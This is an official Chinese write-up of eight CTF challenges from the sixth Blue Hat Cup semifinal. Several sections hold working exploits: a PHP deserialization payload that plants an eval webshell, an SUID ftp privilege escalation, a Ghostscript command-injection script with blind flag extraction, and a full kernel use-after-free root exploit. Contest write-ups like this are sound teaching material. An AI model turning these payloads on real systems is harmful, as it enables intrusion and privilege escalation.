【官方WP】第六届蓝帽杯半决赛CTF题目解析

admin 2022年8月11日12:52:29评论247 views字数 20894阅读69分38秒阅读模式
【官方WP】第六届蓝帽杯半决赛CTF题目解析


8月4日,第六届“蓝帽杯”全国大学生网络安全技能大赛半决赛圆满结束,来自四大赛区的240支战队展开激烈角逐,勇攀巅峰!春秋GAME伽玛实验室精选了8道CTF题目的解题思路,一起学习~


easyfatfree

by “小橘子真好吃“战队

www.zip源码泄露,fatfree反序列化,入口点在Jig,本地测试能写进去,远程提示没有/var/www/html目录写权限,dirsearch扫到前端目录ui可写。
<?php
namespace DB;

//! In-memory/flat-file DB wrapper
class Jig {

    //@{ Storage formats
    const
        FORMAT_JSON=0,
        FORMAT_Serialized=1;
    //@}
    protected
        //! Storage location
        $dir = '/var/www/html/ui/',
        //! Current storage format
        $format = 'self::FORMAT_JSON',
        //! Memory-held data
        $data = array('or4nge.php'=>array('a'=>'<?php eval($_POST[1]);?>')),
        //! lazy load/save files
        $lazy = TRUE;
        
    /**
    *   Read data from memory/file
    *   @return array
    *   @param $file string
    **/

}
$jig = new jig();
echo urlencode(serialize($jig));

写shell后发现有open_basedir限制,绕过后直接读flag。

1=mkdir("s");chdir('s');ini_set('open_basedir','..');chdir('..');chdir('..');
chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents("/flag");


babynim

by “小橘子真好吃“战队

nim语言,根据符号表进入找到main函数

使用readLine获取输入【官方WP】第六届蓝帽杯半决赛CTF题目解析

要求输入长度为42【官方WP】第六届蓝帽杯半决赛CTF题目解析

验证flag格式并提取内容【官方WP】第六届蓝帽杯半决赛CTF题目解析

【官方WP】第六届蓝帽杯半决赛CTF题目解析

将flag转换为数字,并与另一串数字56006392793428440965060594343955737638876552919041519193476344215226028549209672868995436445345986471相乘,要求结果为51748409119571493927314047697799213641286278894049840228804594223988372501782894889443165173295123444031074892600769905627166718788675801

整除即可获得flag


ecc_stream

by “小橘子真好吃“战队

本题的关键在于恢复p,总共有256组,猜测大概率有连续为0的4组,即在数组中均为点x的值,由点的递推关系可得3个同余方程组,将a^2和a视为两个不同变量,分别解出,再根据a^2-(a)^2==k*p得到kp,发现不止一组,求gcd得到p。后续都非常顺理成章了。

res = []
for i in range(253):
    var('aa a b')
    eq = []
    for j in range(3):
        c0 = -2 * (F[i+j]^2)-4*F[i+j]*F[i+j+1]
        c1 = -4 * F[i+j+1]-8*F[i+j]
        c2 = F[i+j]^4 -4 * F[i+j+1] *(F[i+j]^3)
        eq.append(aa+c0*a+c1*b+c2==0)
    t0 = solve(eq, aa, a, b)[0][0].rhs()
    t1 = solve(eq, aa, a, b)[0][1].rhs()
    t1 = t1 ^ 2
    le = t0.numerator() * t1.denominator()
    rh = t0.denominator() * t1.numerator()
    res.append(abs(le - rh))
for i in range(253):
    for j in range(i + 1253):
        ans = gcd(res[i], res[j])
        if ans > 2 ^ 200:
            print(ans)
            print(i, j)

解得a,b

zp = Zmod(p)
for i in range(253):
    var('aa a b')
    eq = []
    for j in range(3):
        c0 = -2 * (F[i+j]^2)-4*F[i+j]*F[i+j+1]
        c1 = -4 * F[i+j+1]-8*F[i+j]
        c2 = F[i+j]^4 -4 * F[i+j+1] *(F[i+j]^3)
        eq.append(aa+c0*a+c1*b+c2==0)
    t0 = solve(eq, aa, a, b)[0][1].rhs()
    t1 = solve(eq, aa, a, b)[0][2].rhs()
    if i == 0:
        print(zp(t0.numerator())*zp(t0.denominator())^(-1))
        print(zp(t1.numerator())*zp(t1.denominator())^(-1))

还原x

p = 17820136898270565003583154860416743796390790040178335664072441472386305480761
a = 9350908279444197743025002468741904275718898737006581492427705992219827176952
b = 13500852895882965574928430100049589390809744881726797117323415176748623881582
E = EllipticCurve(GF(p),[a,b])
G = E(165819460652685672378174152327393864422280923286550831181893042461705974343326572297618785458302447485568200876595775007972363489568076029901524495685352)
print(G)
print(G.xy()[0])
ans = 0
for i in range(256):
    try:
        x, y = G.xy()
        if F[i] == x:
            ans += 0
        else:
            ans += 2^i
        G = 2 * G
    except:
        print(G.xy())
print(ans)

异或得到flag

import random, hashlib
from Crypto.Util.number import *
enc = 'ba1e3092e2baba2ed9d70b5d847bb74d8a7b59461d16240c0017ed79c5e4052149129bc5d3c1112ad22e'
a = 4009442033181566772244087448152745364151945732097529946674447227730338811104
x = hashlib.sha384(long_to_bytes(a)).digest()
flag = bytes([i^j for (i,j) in zip(bytes.fromhex(enc), x)])
print(flag)


神秘的日志

by “小橘子真好吃“战队

用Windows事件查看器打开日志,阅读系统记录的操作逻辑发现日志记录时间顺序由近到远,NTLM过程中系统时间发生过改变。

查阅有关NTLM中继攻击的资料发现攻击过程中涉及到两次NTLM验证,即日志中的两条LSA记录。审计发现两次NTLM验证间系统发生了一次重启。查到对应的NTLM模式:https://www.freebuf.com/articles/web/336237.html

【官方WP】第六届蓝帽杯半决赛CTF题目解析

因此推测答案为security日志中第二次LSA记录的时间或NTLM验证结束后的第一次logon对应的时间,测试发现答案是md5{第二次LSA后第一个logon的timeCreated SystemTime}。


加密的通道

by “小橘子真好吃“战队

一条条追踪http流,发现行为顺序是:用蚁剑连接1.php,写了rsa.php后用加密流量rce,尝试ls,测试写了flag.txt,再ls,最后写了一个真的flag。

流量发现rsa.php是用phpjiami的php,用phpjiami_decode-master解密还原得到:

<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDieYmLtWbGRSvUtevSlTOozmWR

qEGF4Hfvb1YCoVYAAlhnHnyMk+aLRvLXKgmerWiS+QD6y08Ispuzzn02tHE6d4Qp
DuPiPO9PAdGSXzFVFLK2hOrkXLsDXugNTdVUprdkPPI1YY0ZnMs1bT2Zf2dfuBI5
0S5e5sSOF85kNq/zwwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
foreach($_POST as $k => $v){
  if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
     $_POST[$k]=$de;
}
}
eval($cmd);

发现这是用公钥解密的,所以追踪最后一条流得到参数

k85c8f24ca50da=yLxWGRCHJBEhtpnW7XTEjZa8U06pkFvEqTea5ISI%2FLggnmMXPblFZ6sDNJHoym6I0CkQIYr62%2B8sauFSYOHtPEpFX62kBmMAxi7abHOzQl5FAf2VO5wiezcXRp5nLDfqHCLa0Y8T9kaplu81yXLzXtlhZYgrqMtDsFROJ%2BZKNN0%3D

用公钥解密后去掉前两位解base64即可。


onelinephp

by 伽玛实验室

题目只给了一个php eval 查看根目录flag 权限发现只有root可读,可猜测需要提权

使用find / -perm -u=s -type f 2>/dev/null寻找存在suid权限的应用

【官方WP】第六届蓝帽杯半决赛CTF题目解析

发现/usr/bin/netkit-ftp并不寻常,如果/usr/bin/netkit-ftp可以执行系统命令 就有利用的空间 通过查阅资料可以得知此应用为ubuntu自带的ftp应用 通过help功能即可发现ftp本身存在执行命令功能 即! 但是在实际操作中发现并不能直接通过这个功能进行php交互提权,于是查看该ftp源代码

https://github.com/mmaraya/netkit-ftp

【官方WP】第六届蓝帽杯半决赛CTF题目解析

定位到功能实现代码可知是从系统变量中获取SHELL变量进行执行

【官方WP】第六届蓝帽杯半决赛CTF题目解析

最终执行的是SHELL -c xxxx命令

因此可以通过export劫持系统变量来进行提权 但是尝试了bash、sh、dash都无法成功提权

可以将theshell劫持为其他可使用-c参数的程序来进行提权 这里找的是od -c 来读取flag

最终的exp:

putenv("SHELL=/usr/bin/od");
$descriptorspec = array(
   0 => array("pipe""r"),
   1 => array("pipe""w"),
   2 => array("pipe""r")
);

$file=array();

$process = proc_open("ftp", $descriptorspec, $file);

var_dump($process);
var_dump($file);

function readln($file){
    $out = "";
    $a = fread($file, 1);
    echo "readln";
    while ($a != "n") {
        $out = $out.$a;
        $a = fread($file, 1);
    }
    return $out;
}


fputs($file[0], "! /flagn");
sleep("2");
$data = readln($file[1]);
echo $data;

【官方WP】第六届蓝帽杯半决赛CTF题目解析


TimeIsMoney

by 伽玛实验室

通过查看DockerFile可以看到环境里面是包含imageMagick的,并且GhostScript9.5.0是存在命令执行漏洞。

通过代码审计,可以发现这个服务一共包含两个路由。

首先是/import,通过这个路由我们可以通过这个路由将requeset body中的内容到/tmp/image目录下。但是这个地方存在几个限制,

 @RequestMapping("/import")
    public String importImage(HttpServletRequest request) throws IOException {


        byte[] bytes = org.apache.commons.io.IOUtils.toByteArray(request.getInputStream());

        if (bytes == null || bytes.length == 0) {
            throw new RuntimeException("invalid import operation");
        }

        bytes = filter(bytes);

        if (bytes != null && bytes.length > 0 && bytes.length < 400) {
            FileOutputStream fous = new FileOutputStream("/tmp/image");
            fous.write(bytes);
            fous.flush();
            fous.close();
            return "import image success fully";
        } else {

            return "request has been filtered";
        }
    }

首先是对写入内容的限制。这里过滤了pipe等关键字。我们可以在关键字中间插入<!-- -->来绕过这个限制。

    private byte[] filter(byte[] bytes) {
        String text = new String(bytes);
        String[] contentBlackList = new String[]{
                "$""pipe""&#""data""[""]""DATA""\"
        };
        for (String item : contentBlackList) {
            if (text.contains(item)) {
                return null;
            }
        }
        return bytes;
    }

之后就是内容长度的限制,只允许400字符的长度。

并且观察到docker-compose.yml中,是存在一个nginx反向代理的结构,而且web这个服务是不出网的。这时候自然而然想到命令注入盲注来外带回显。所以顺着这个思路,编写以下脚本

import time
import string
import base64
import requests
from argparse import ArgumentParser

PAYLOAD_TEMPLATE = "<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <hui><desc>copies (%pipe%/tmp/;{payload}) (r) file showpage 0 quit </desc> <image href="epi:/proc/self/fd/3" /> <svg width="1px" height="1px" /> </hui>n"
def payloadMaker(command):
    payload = PAYLOAD_TEMPLATE.format(payload = command ).replace("pipe","p<!-- -->ipe").replace("data","da<!-- -->ta")
    return payload


def execute(cmd):
    cmd = "echo {} | base64 -d | bash".format(base64.b64encode(cmd.encode()).decode())
    payload = payloadMaker(cmd)

    now = time.time()
    requests.get("{}/import".format(base_url),data=payload)
    requests.get('{}/transform'.format(base_url),timeout=3)

    # print(time.time()-now)

if __name__ == '__main__':
    parser = ArgumentParser()
    parser.add_argument('-u',"--url",help='game url, eg: http://localhost:58080',required=True)
    parser.add_argument('-t','--timeout',help='http connection timeout,attetion seconds min is 3',default=4)    

    args = parser.parse_args()
    base_url =args.url
    timeout = args.timeout

    if timeout < 3:
        parser.print_usage()
        exit(-1)

    flag = ""
    for l in range(1,50):
        for x in string.printable:
            try:
                execute("sleep $(cat /flag|cut -c{}|tr {} 4)".format(l,x))
            except Exception as e:
                flag += x
                print(flag)
                break;

最后执行python exploit -u http://localhost:20003即可获得flag


Smurfs

by 伽玛实验室

首先解包rootfs.cpio文件拿到ko文件,逆向分析发现存在3个功能,分别是add、del、edit,同时add只能申请两个堆块,在del里面有着明显的uaf漏洞,edit只能写八个字节

我们首先需要考虑的是如何泄露出我们想要的地址比如kernel或者heap的地址,我们可以利用modify_ldt这个系统调用来满足我们的设想,该系统调用提供四个功能,其中read_ldt

static int read_ldt(void __user *ptr, unsigned long bytecount)
{
 struct mm_struct *mm = current->mm;
 unsigned long entries_size;
 int retval;

 down_read(&mm->context.ldt_usr_sem);

 if (!mm->context.ldt) {
  retval = 0;
  goto out_unlock;
 }

 if (bytecount > LDT_ENTRY_SIZE * LDT_ENTRIES)
  bytecount = LDT_ENTRY_SIZE * LDT_ENTRIES;

 entries_size = mm->context.ldt->nr_entries * LDT_ENTRY_SIZE;
 if (entries_size > bytecount)
  entries_size = bytecount;

 if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
  retval = -EFAULT;
  goto out_unlock;
 }

 if (entries_size != bytecount) {
  /* Zero-fill the rest and pretend we read bytecount bytes. */
  if (clear_user(ptr + entries_size, bytecount - entries_size)) {
   retval = -EFAULT;
   goto out_unlock;
  }
 }
 retval = bytecount;

out_unlock:
 up_read(&mm->context.ldt_usr_sem);
 return retval;
}

可以看到有copy_to_user,假设我们能控制mm->context.ldt->entries便可以任意地址读,并且如果失败则返回负数,因此我们可以通过这个特性来爆破出heap_addr,而mm->context.ldt->entries会在write_ldt函数中申请赋值

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
 struct mm_struct *mm = current->mm;
 struct ldt_struct *new_ldt, *old_ldt;
 unsigned int old_nr_entries, new_nr_entries;
 struct user_desc ldt_info;
 struct desc_struct ldt;
 int error;

 error = -EINVAL;
 if (bytecount != sizeof(ldt_info))
  goto out;
 error = -EFAULT;
 if (copy_from_user(&ldt_info, ptr, sizeof(ldt_info)))
  goto out;

 error = -EINVAL;
 if (ldt_info.entry_number >= LDT_ENTRIES)
  goto out;
 if (ldt_info.contents == 3) {
  if (oldmode)
   goto out;
  if (ldt_info.seg_not_present == 0)
   goto out;
 }

 if ((oldmode && !ldt_info.base_addr && !ldt_info.limit) ||
     LDT_empty(&ldt_info)) {
  /* The user wants to clear the entry. */
  memset(&ldt, 0sizeof(ldt));
 } else {
  if (!ldt_info.seg_32bit && !allow_16bit_segments()) {
   error = -EINVAL;
   goto out;
  }

  fill_ldt(&ldt, &ldt_info);
  if (oldmode)
   ldt.avl = 0;
 }

 if (down_write_killable(&mm->context.ldt_usr_sem))
  return -EINTR;

 old_ldt       = mm->context.ldt;
 old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
 new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

 error = -ENOMEM;
 new_ldt = alloc_ldt_struct(new_nr_entries);
 if (!new_ldt)
  goto out_unlock;

 if (old_ldt)
  memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

 new_ldt->entries[ldt_info.entry_number] = ldt;
 finalize_ldt_struct(new_ldt);

 /*
  * If we are using PTI, map the new LDT into the userspace pagetables.
  * If there is already an LDT, use the other slot so that other CPUs
  * will continue to use the old LDT until install_ldt() switches
  * them over to the new LDT.
  */

 error = map_ldt_struct(mm, new_ldt, old_ldt ? !old_ldt->slot : 0);
 if (error) {
  /*
   * This only can fail for the first LDT setup. If an LDT is
   * already installed then the PTE page is already
   * populated. Mop up a half populated page table.
   */

  if (!WARN_ON_ONCE(old_ldt))
   free_ldt_pgtables(mm);
  free_ldt_struct(new_ldt);
  goto out_unlock;
 }

 install_ldt(mm, new_ldt);
 unmap_ldt_struct(mm, old_ldt);
 free_ldt_struct(old_ldt);
 error = 0;

out_unlock:
 up_write(&mm->context.ldt_usr_sem);
out:
 return error;
}

我们注意到new_ldt = alloc_ldt_struct(new_nr_entries);,其会调用alloc_ldt_struct函数

static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
 struct ldt_struct *new_ldt;
 unsigned int alloc_size;

 if (num_entries > LDT_ENTRIES)
  return NULL;

 new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL_ACCOUNT);
 if (!new_ldt)
  return NULL;

 BUILD_BUG_ON(LDT_ENTRY_SIZE != sizeof(struct desc_struct));
 alloc_size = num_entries * LDT_ENTRY_SIZE;

 /*
  * Xen is very picky: it requires a page-aligned LDT that has no
  * trailing nonzero bytes in any page that contains LDT descriptors.
  * Keep it simple: zero the whole allocation and never allocate less
  * than PAGE_SIZE.
  */

 if (alloc_size > PAGE_SIZE)
  new_ldt->entries = __vmalloc(alloc_size, GFP_KERNEL_ACCOUNT | __GFP_ZERO);
 else
  new_ldt->entries = (void *)get_zeroed_page(GFP_KERNEL_ACCOUNT);

 if (!new_ldt->entries) {
  kfree(new_ldt);
  return NULL;
 }

 /* The new LDT isn't aliased for PTI yet. */
 new_ldt->slot = -1;

 new_ldt->nr_entries = num_entries;
 return new_ldt;
}

而该函数会调用kmalloc来申请堆块,size为ldt_struct的大小即为0x10,假设我们通过uaf修改entries然后在调用read_ldt这时候就可以做到任意地址读

ldt结构体:

struct ldt_struct {
    /*
     * Xen requires page-aligned LDTs with special permissions.  This is
     * needed to prevent us from installing evil descriptors such as
     * call gates.  On native, we could merge the ldt_struct and LDT
     * allocations, but it's not worth trying to optimize.
     */

    struct desc_struct    *entries;
    unsigned int        nr_entries;

    /*
     * If PTI is in use, then the entries array is not mapped while we're
     * in user mode.  The whole array will be aliased at the addressed
     * given by ldt_slot_va(slot).  We use two slots so that we can allocate
     * and map, and enable a new LDT without invalidating the mapping
     * of an older, still-in-use LDT.
     *
     * slot will be -1 if this LDT doesn't have an alias mapping.
     */

    int            slot;
};

通过爆破泄露出heap_base以及kernel_base然后我们申请一个0x20的堆块将其free掉,然后通过劫持seq_options->stat指针来劫持流程,将其劫持成xchg eax,esp来进行栈迁移至用户态

exp:

#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>  
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <stdint.h>
#include <sys/mman.h>
#include <signal.h>
#include <linux/keyctl.h>
#include <sys/prctl.h>
#define SIZE 0x60
size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
long int data[0x400];
size_t modprobe_path = 0;
uint64_t kernel_base = 0;
uint64_t raceSign = 0;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void get_shell(void){
    system("/bin/sh");
}

void getroot()
{
    void *(*pkc)(void *) = prepare_kernel_cred;
    void (*cc)(void *) = commit_creds;

    cc(pkc(0));
}
void swapgs_iretq()
{
    __asm__("swapgs;"
            "iretq;");
}
void spawn_shell()

    system("/bin/sh");
}
int add(int fd,uint64_t size,char *buf){
    uint64_t arg[2] = {size,buf};
    ioctl(fd,0x20,arg);
}
int del(int fd,uint64_t idx){
    uint64_t arg[1] = {idx};
    ioctl(fd,0x30,arg);
}
int edit(int fd,uint64_t idx,uint64_t size,char *buf){
    uint64_t arg[3] = {idx,size,buf};
    ioctl(fd,0x50,arg);
}
struct msg_msg {
  uint64_t m_list_next;
  uint64_t m_list_prev;
  uint64_t m_type;
  uint64_t m_ts;
  uint64_t next;
  uint64_t security;
};

struct msg_msgseg {
  uint64_t next;
};

struct pipe_buffer {
  uint64_t page;
  uint32_t offset;
  uint32_t len;
  uint64_t ops;
  uint32_t flags;
  uint32_t pad;
  uint64_t private;
};

struct {
  long mtype;
  char mtext[0x4000];
} msgbuf;

struct pipe_buf_operations {
  uint64_t confirm;
  uint64_t release;
  uint64_t steal;
  uint64_t get;
};


int add_msg(int msqid, const void *msgp, size_t msgsz) {
 if (msgsnd(msqid, msgp, msgsz, 0) < 0) {
  perror("[-] msgsnd");
     return -1;
    }
    return 0;
}

int show_msg(int msqid, void *msgp, size_t msgsz) {
    if (msgrcv(msqid, msgp, msgsz, 0, MSG_COPY | IPC_NOWAIT) < 0) {
        perror("[-] msgrcv");
        return -1;
    }
    return 0;
}

int free_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
    if (msgrcv(msqid, msgp, msgsz, msgtyp, 0) < 0) {
        perror("[-] msgrcv");
        return -1;
    }
    return 0;
}
int msg_get(){
    int pid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if(pid < 0){
        perror("msgget");
        return -1;
    }
    return pid;
}
int show_buf(uint64_t *buf,uint64_t size){
 for(int i = 0;i<size;i++){
  printf("%d ==> %llxn",i,*(uint64_t*)(buf + i*8));
 }
}
void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
                   uint64_t m_list_prev, uint64_t m_type,uint64_t m_ts, uint64_t next)
 
{
  msg->m_list_next = m_list_next;
  msg->m_list_prev = m_list_prev;
  msg->m_type = m_type;
  msg->m_ts = m_ts;
  msg->next = next;
  msg->security = 0;
}
void modprobe_hax()
{
        system("echo '#!/bin/sh' > /tmp/x; echo 'setsid cttyhack setuidgid 0 /bin/sh' >> /tmp/x");
        system("chmod +x /tmp/x");
        int ff = open("/tmp/asd", O_WRONLY|O_CREAT);
        write(ff, "xffxffxffxff"4);
        close(ff);
        system("chmod 777 /tmp/asd; /tmp/asd");
        system("sh");
}
size_t init_cred;
size_t prepare_kernel_cred;
size_t commit_creds;
size_t pop_rdi;
int seq_fd;
size_t swapgs_restore_regs_and_return_to_usermode;
int fd;
struct user_desc u_desc;
long long target[1];
int main(){
    signal(SIGSEGV, spawn_shell);
    signal(SIGTRAP, spawn_shell);
 save_status();
 fd = open("/dev/kernelpwn",0);
 if(fd < 0){
  puts("Open Error");
  _exit(1);
 }
    char *buf = calloc(1,0x4000);
    char *buf1 = calloc(1,0x8000);
    memset(buf,'b',0x1000);
    add(fd,0x10,buf);
    add(fd,0x20,buf);
    del(fd,0);
    u_desc.base_addr=0xff0000;
    u_desc.entry_number=0x1000/8;
    u_desc.limit=0;
    u_desc.seg_32bit=0;
    u_desc.contents=0;
    u_desc.read_exec_only=0;
    u_desc.limit_in_pages=0;
    u_desc.seg_not_present=0;
    u_desc.useable=0;
    u_desc.lm=0;
    int ret=syscall(SYS_modify_ldt, 1, &u_desc,sizeof(u_desc));
    unsigned long long addr=0xffff888000000000;
    *(uint64_t*)buf = addr;
    while(1){
        edit(fd,0,0x8,buf);
        ret=syscall(SYS_modify_ldt, 0, target,8);
        if(ret<0){
            addr+=0x40000000;
            *(uint64_t*)buf = addr;
            continue;
        }
        printf("heap_base: 0x%llxn",addr);
        break;
    }
    uint64_t mod_heap = addr + 0x11e8000;
    //uint64_t mod_heap = addr + 0x39e8000;
    printf("mod_heap => 0x%llxn",mod_heap);
    *(uint64_t*)buf = mod_heap;
    uint64_t tmp_addr;
    edit(fd,0,0x8,buf);
    syscall(SYS_modify_ldt, 0, buf1,0x1000);
    for(int i = 0;i<0x1000/0x8;i++){
     tmp_addr = *(uint64_t*)(buf1 + 8*i);
     if(tmp_addr > 0xffffffff81000000){
      if((uint64_t)(tmp_addr & 0x00000000000fffff) == 0x6c000){
          kernel_base = (uint64_t)(tmp_addr-0x1a6c000);
          printf("FOUND kernel_base = 0x%llxn",kernel_base);
          break;
      }
     }
    }
    if(kernel_base == 0){
     puts("NONONO");
     _exit(0);
    }
    pop_rdi = 0x8c420 + kernel_base;
    commit_creds = 0xc9540 + kernel_base;
    init_cred = 0x1a6b700 + kernel_base;
    swapgs_restore_regs_and_return_to_usermode = 0xc00fb0 + kernel_base + 0x1e;
    uint64_t xchg_eax_esp = 0xe5bb9 + kernel_base;
    del(fd,1);
    seq_fd = open("/proc/self/stat",0);
    uint64_t fake_seq_struct[0x20] = {0};
    uint64_t iretq = 0x2df + kernel_base;
    uint64_t *fake_stack = mmap(xchg_eax_esp & 0xfffff0000x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -10);
    if(fake_stack != (xchg_eax_esp & 0xfffff000))
    {
        puts("[!] mmap failed");
        exit(-1);
    }
    printf("fake_stack: 0x%llxn",fake_stack);
    fake_seq_struct[0] = xchg_eax_esp;
    uint64_t base = (xchg_eax_esp & 0xfff) / 8;
    uint64_t index = 0;
    uint64_t swapgs_ret = 0xbc889f + kernel_base;
    fake_stack =  xchg_eax_esp & 0xffffffff;
    printf("fake_stack: 0x%llxn",fake_stack);
    edit(fd,1,0x8,fake_seq_struct);
    fake_stack[index++] = pop_rdi;
    fake_stack[index++] = init_cred;
    fake_stack[index++] = commit_creds;
    fake_stack[index++] = swapgs_ret;
    fake_stack[index++] = iretq;
    fake_stack[index++] = (uint64_t)spawn_shell;
    fake_stack[index++] = user_cs;
    fake_stack[index++] = user_rflags;
    fake_stack[index++] = user_sp;
    fake_stack[index++] = user_ss;
    read(seq_fd,0x1234,0x1);
    spawn_shell();
}





相关阅读



【官方WP】第六届“蓝帽杯”初赛CTF题目解析
【官网WP】第六届“蓝帽杯”初赛取证题目解析


春秋GAME伽玛实验室

会定期分享赛题赛制设计、解题思路……

如果你日常有一些技术研究和好的设计思路

或在赛后对某道题有另辟蹊径的想法

欢迎找到春秋GAME投稿哦~

联系vx:cium0309

欢迎加入 春秋GAME CTF交流2群

Q群:703460426

【官方WP】第六届蓝帽杯半决赛CTF题目解析

【官方WP】第六届蓝帽杯半决赛CTF题目解析

原文始发于微信公众号(春秋伽玛):【官方WP】第六届“蓝帽杯”半决赛CTF题目解析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月11日12:52:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【官方WP】第六届蓝帽杯半决赛CTF题目解析http://cn-sec.com/archives/1231460.html

发表评论

匿名网友 填写信息